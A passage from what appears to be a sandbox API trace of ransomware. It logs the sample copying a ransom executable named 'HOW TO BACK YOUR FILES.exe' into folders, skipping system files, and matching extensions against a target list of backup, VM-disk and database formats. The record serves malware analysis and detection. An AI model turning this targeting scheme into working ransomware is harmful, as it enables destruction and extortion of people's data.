8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\how to back your files.exe"), bFailIfExists=1) returned 0 [0042.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0042.812] GetLastError () returned 0x0 [0042.812] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0042.812] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x530d08 [0042.812] ReadFile (in: hFile=0xf4, lpBuffer=0x530d08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x530d08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0042.812] CloseHandle (hObject=0xf4) returned 1 [0042.812] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d08 | out: hHeap=0x4f0000) returned 1 [0042.812] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0042.813] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529450 [0042.813] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.813] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.813] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0042.813] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5246c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0042.813] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.813] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.813] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0042.813] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0042.813] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f37b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Common7", cAlternateFileName="")) returned 1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2=".") returned 1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="..") returned 1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="windows") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="bootmgr") returned 1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="temp") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="pagefile.sys") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="boot") returned 1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="ids.txt") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="ntuser.dat") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="perflogs") returned -1 [0042.813] lstrcmpiW (lpString1="Common7", lpString2="MSBuild") returned -1 [0042.813] lstrlenW (lpString="Common7") returned 7 [0042.813] lstrcpyW (in: lpString1=0x241e8aa, lpString2="Common7" | out: lpString1="Common7") returned="Common7" [0042.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c5c0 [0042.813] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x501d28 [0042.813] lstrcatW (in: lpString1="Common7", lpString2="\\" | out: lpString1="Common7\\") returned="Common7\\" [0042.813] lstrcatW (in: lpString1="Common7\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Common7\\HOW TO BACK YOUR FILES.exe") returned="Common7\\HOW TO BACK YOUR FILES.exe" [0042.813] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.817] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc5246c0, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xbc5246c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0042.817] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0042.817] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x10f11a30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SDK", cAlternateFileName="")) returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2=".") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="..") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="windows") returned -1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="bootmgr") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="temp") returned -1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="pagefile.sys") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="boot") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="ids.txt") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="ntuser.dat") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="perflogs") returned 1 [0042.817] lstrcmpiW (lpString1="SDK", lpString2="MSBuild") returned 1 [0042.817] lstrlenW (lpString="SDK") returned 3 [0042.817] lstrcpyW (in: lpString1=0x241e8aa, lpString2="SDK" | out: lpString1="SDK") returned="SDK" [0042.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x530920 [0042.817] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x52d390 [0042.817] lstrcatW (in: lpString1="SDK", lpString2="\\" | out: lpString1="SDK\\") returned="SDK\\" [0042.817] lstrcatW (in: lpString1="SDK\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="SDK\\HOW TO BACK YOUR FILES.exe") returned="SDK\\HOW TO BACK YOUR FILES.exe" [0042.817] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\SDK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\sdk\\how to back your files.exe"), bFailIfExists=1) returned 1 [0042.820] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d272e90, ftCreationTime.dwHighDateTime=0x1d511aa, ftLastAccessTime.dwLowDateTime=0x6653a9a0, ftLastAccessTime.dwHighDateTime=0x1d547fb, ftLastWriteTime.dwLowDateTime=0x6653a9a0, ftLastWriteTime.dwHighDateTime=0x1d547fb, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tribute.exe", cAlternateFileName="")) returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2=".") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="..") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="windows") returned -1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="bootmgr") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="temp") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="pagefile.sys") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="boot") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="ids.txt") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="ntuser.dat") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="perflogs") returned 1 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2="MSBuild") returned 1 [0042.820] lstrlenW (lpString="tribute.exe") returned 11 [0042.820] lstrcpyW (in: lpString1=0x241e8aa, lpString2="tribute.exe" | out: lpString1="tribute.exe") returned="tribute.exe" [0042.820] lstrlenW (lpString="tribute.exe") returned 11 [0042.820] lstrlenW (lpString="Athena865") returned 9 [0042.820] lstrcmpiW (lpString1="ibute.exe", lpString2="Athena865") returned 1 [0042.820] lstrlenW (lpString=".dll") returned 4 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2=".dll") returned 1 [0042.820] lstrlenW (lpString=".lnk") returned 4 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2=".lnk") returned 1 [0042.820] lstrlenW (lpString=".ini") returned 4 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2=".ini") returned 1 [0042.820] lstrlenW (lpString=".sys") returned 4 [0042.820] lstrcmpiW (lpString1="tribute.exe", lpString2=".sys") returned 1 [0042.820] lstrlenW (lpString="tribute.exe") returned 11 [0042.820] lstrlenW (lpString="bak") returned 3 [0042.820] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0042.821] lstrlenW (lpString="ba_") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0042.821] lstrlenW (lpString="dbb") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0042.821] lstrlenW (lpString="vmdk") returned 4 [0042.821] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0042.821] lstrlenW (lpString="rar") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0042.821] lstrlenW (lpString="zip") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0042.821] lstrlenW (lpString="tgz") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0042.821] lstrlenW (lpString="vbox") returned 4 [0042.821] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0042.821] lstrlenW (lpString="vdi") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0042.821] lstrlenW (lpString="vhd") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0042.821] lstrlenW (lpString="vhdx") returned 4 [0042.821] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0042.821] lstrlenW (lpString="avhd") returned 4 [0042.821] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0042.821] lstrlenW (lpString="db") returned 2 [0042.821] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0042.821] lstrlenW (lpString="db2") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0042.821] lstrlenW (lpString="db3") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0042.821] lstrlenW (lpString="dbf") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0042.821] lstrlenW (lpString="mdf") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0042.821] lstrlenW (lpString="mdb") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0042.821] lstrlenW (lpString="sql") returned 3 [0042.821] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0042.821] lstrlenW (lpString="sqlite") returned 6 [0042.821] lstrcmpiW (lpString1="te.exe", lpString2="sqlite") returned 1 [0042.822] lstrlenW (lpString="sqlite3") returned 7 [0042.822] lstrcmpiW (lpString1="ute.exe", lpString2="sqlite3") returned 1 [0042.822] lstrlenW (lpString="sqlitedb") returned 8 [0042.822] lstrcmpiW (lpString1="bute.exe", lpString2="sqlitedb") returned -1 [0042.822] lstrlenW (lpString="xml") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0042.822] lstrlenW (lpString="$er") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0042.822] lstrlenW (lpString="4dd") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0042.822] lstrlenW (lpString="4dl") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0042.822] lstrlenW (lpString="^^^") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0042.822] lstrlenW (lpString="abs") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0042.822] lstrlenW (lpString="abx") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0042.822] lstrlenW (lpString="accdb") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accdb") returned 1 [0042.822] lstrlenW (lpString="accdc") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accdc") returned 1 [0042.822] lstrlenW (lpString="accde") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accde") returned 1 [0042.822] lstrlenW (lpString="accdr") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accdr") returned 1 [0042.822] lstrlenW (lpString="accdt") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accdt") returned 1 [0042.822] lstrlenW (lpString="accdw") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accdw") returned 1 [0042.822] lstrlenW (lpString="accft") returned 5 [0042.822] lstrcmpiW (lpString1="e.exe", lpString2="accft") returned 1 [0042.822] lstrlenW (lpString="adb") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.822] lstrlenW (lpString="adb") returned 3 [0042.822] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0042.822] lstrlenW (lpString="ade") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0042.823] lstrlenW (lpString="adf") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0042.823] lstrlenW (lpString="adn") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0042.823] lstrlenW (lpString="adp") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0042.823] lstrlenW (lpString="alf") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0042.823] lstrlenW (lpString="ask") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0042.823] lstrlenW (lpString="btr") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0042.823] lstrlenW (lpString="cat") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0042.823] lstrlenW (lpString="cdb") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0042.823] lstrlenW (lpString="ckp") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0042.823] lstrlenW (lpString="cma") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0042.823] lstrlenW (lpString="cpd") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0042.823] lstrlenW (lpString="dacpac") returned 6 [0042.823] lstrcmpiW (lpString1="te.exe", lpString2="dacpac") returned 1 [0042.823] lstrlenW (lpString="dad") returned 3 [0042.823] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0042.823] lstrlenW (lpString="dadiagrams") returned 10 [0042.823] lstrcmpiW (lpString1="ribute.exe", lpString2="dadiagrams") returned 1 [0042.823] lstrlenW (lpString="daschema") returned 8 [0042.823] lstrcmpiW (lpString1="bute.exe", lpString2="daschema") returned -1 [0042.823] lstrlenW (lpString="db-journal") returned 10 [0042.823] lstrcmpiW (lpString1="ribute.exe", lpString2="db-journal") returned 1 [0042.823] lstrlenW (lpString="db-shm") returned 6 [0042.823] lstrcmpiW (lpString1="te.exe", lpString2="db-shm") returned 1 [0042.823] lstrlenW (lpString="db-wal") returned 6 [0042.824] lstrcmpiW (lpString1="te.exe", lpString2="db-wal") returned 1 [0042.824] lstrlenW (lpString="dbc") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0042.824] lstrlenW (lpString="dbs") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0042.824] lstrlenW (lpString="dbt") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0042.824] lstrlenW (lpString="dbv") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0042.824] lstrlenW (lpString="dbx") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0042.824] lstrlenW (lpString="dcb") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0042.824] lstrlenW (lpString="dct") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0042.824] lstrlenW (lpString="dcx") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0042.824] lstrlenW (lpString="ddl") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0042.824] lstrlenW (lpString="dlis") returned 4 [0042.824] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0042.824] lstrlenW (lpString="dp1") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0042.824] lstrlenW (lpString="dqy") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0042.824] lstrlenW (lpString="dsk") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0042.824] lstrlenW (lpString="dsn") returned 3 [0042.824] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0042.824] lstrlenW (lpString="dtsx") returned 4 [0042.824] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0042.825] lstrlenW (lpString="dxl") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0042.825] lstrlenW (lpString="eco") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0042.825] lstrlenW (lpString="ecx") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0042.825] lstrlenW (lpString="edb") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0042.825] lstrlenW (lpString="epim") returned 4 [0042.825] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0042.825] lstrlenW (lpString="fcd") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0042.825] lstrlenW (lpString="fdb") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0042.825] lstrlenW (lpString="fic") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0042.825] lstrlenW (lpString="flexolibrary") returned 12 [0042.825] lstrlenW (lpString="fm5") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0042.825] lstrlenW (lpString="fmp") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0042.825] lstrlenW (lpString="fmp12") returned 5 [0042.825] lstrcmpiW (lpString1="e.exe", lpString2="fmp12") returned -1 [0042.825] lstrlenW (lpString="fmpsl") returned 5 [0042.825] lstrcmpiW (lpString1="e.exe", lpString2="fmpsl") returned -1 [0042.825] lstrlenW (lpString="fol") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0042.825] lstrlenW (lpString="fp3") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0042.825] lstrlenW (lpString="fp4") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0042.825] lstrlenW (lpString="fp5") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0042.825] lstrlenW (lpString="fp7") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0042.825] lstrlenW (lpString="fpt") returned 3 [0042.825] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0042.825] lstrlenW (lpString="frm") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0042.826] lstrlenW (lpString="gdb") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.826] lstrlenW (lpString="gdb") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0042.826] lstrlenW (lpString="grdb") returned 4 [0042.826] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0042.826] lstrlenW (lpString="gwi") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0042.826] lstrlenW (lpString="hdb") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0042.826] lstrlenW (lpString="his") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0042.826] lstrlenW (lpString="ib") returned 2 [0042.826] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0042.826] lstrlenW (lpString="idb") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0042.826] lstrlenW (lpString="ihx") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0042.826] lstrlenW (lpString="itdb") returned 4 [0042.826] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0042.826] lstrlenW (lpString="itw") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0042.826] lstrlenW (lpString="jet") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0042.826] lstrlenW (lpString="jtx") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0042.826] lstrlenW (lpString="kdb") returned 3 [0042.826] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0042.826] lstrlenW (lpString="kexi") returned 4 [0042.826] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0042.826] lstrlenW (lpString="kexic") returned 5 [0042.826] lstrcmpiW (lpString1="e.exe", lpString2="kexic") returned -1 [0042.826] lstrlenW (lpString="kexis") returned 5 [0042.826] lstrcmpiW (lpString1="e.exe", lpString2="kexis") returned -1 [0042.826] lstrlenW (lpString="lgc") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0042.827] lstrlenW (lpString="lwx") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0042.827] lstrlenW (lpString="maf") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0042.827] lstrlenW (lpString="maq") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0042.827] lstrlenW (lpString="mar") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0042.827] lstrlenW (lpString="marshal") returned 7 [0042.827] lstrcmpiW (lpString1="ute.exe", lpString2="marshal") returned 1 [0042.827] lstrlenW (lpString="mas") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0042.827] lstrlenW (lpString="mav") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0042.827] lstrlenW (lpString="maw") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0042.827] lstrlenW (lpString="mdbhtml") returned 7 [0042.827] lstrcmpiW (lpString1="ute.exe", lpString2="mdbhtml") returned 1 [0042.827] lstrlenW (lpString="mdn") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0042.827] lstrlenW (lpString="mdt") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0042.827] lstrlenW (lpString="mfd") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0042.827] lstrlenW (lpString="mpd") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0042.827] lstrlenW (lpString="mrg") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0042.827] lstrlenW (lpString="mud") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0042.827] lstrlenW (lpString="mwb") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0042.827] lstrlenW (lpString="myd") returned 3 [0042.827] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0042.827] lstrlenW (lpString="ndf") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0042.828] lstrlenW (lpString="nnt") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0042.828] lstrlenW (lpString="nrmlib") returned 6 [0042.828] lstrcmpiW (lpString1="te.exe", lpString2="nrmlib") returned 1 [0042.828] lstrlenW (lpString="ns2") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0042.828] lstrlenW (lpString="ns3") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0042.828] lstrlenW (lpString="ns4") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0042.828] lstrlenW (lpString="nsf") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0042.828] lstrlenW (lpString="nv") returned 2 [0042.828] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0042.828] lstrlenW (lpString="nv2") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0042.828] lstrlenW (lpString="nwdb") returned 4 [0042.828] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0042.828] lstrlenW (lpString="nyf") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0042.828] lstrlenW (lpString="odb") returned 3 [0042.828] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 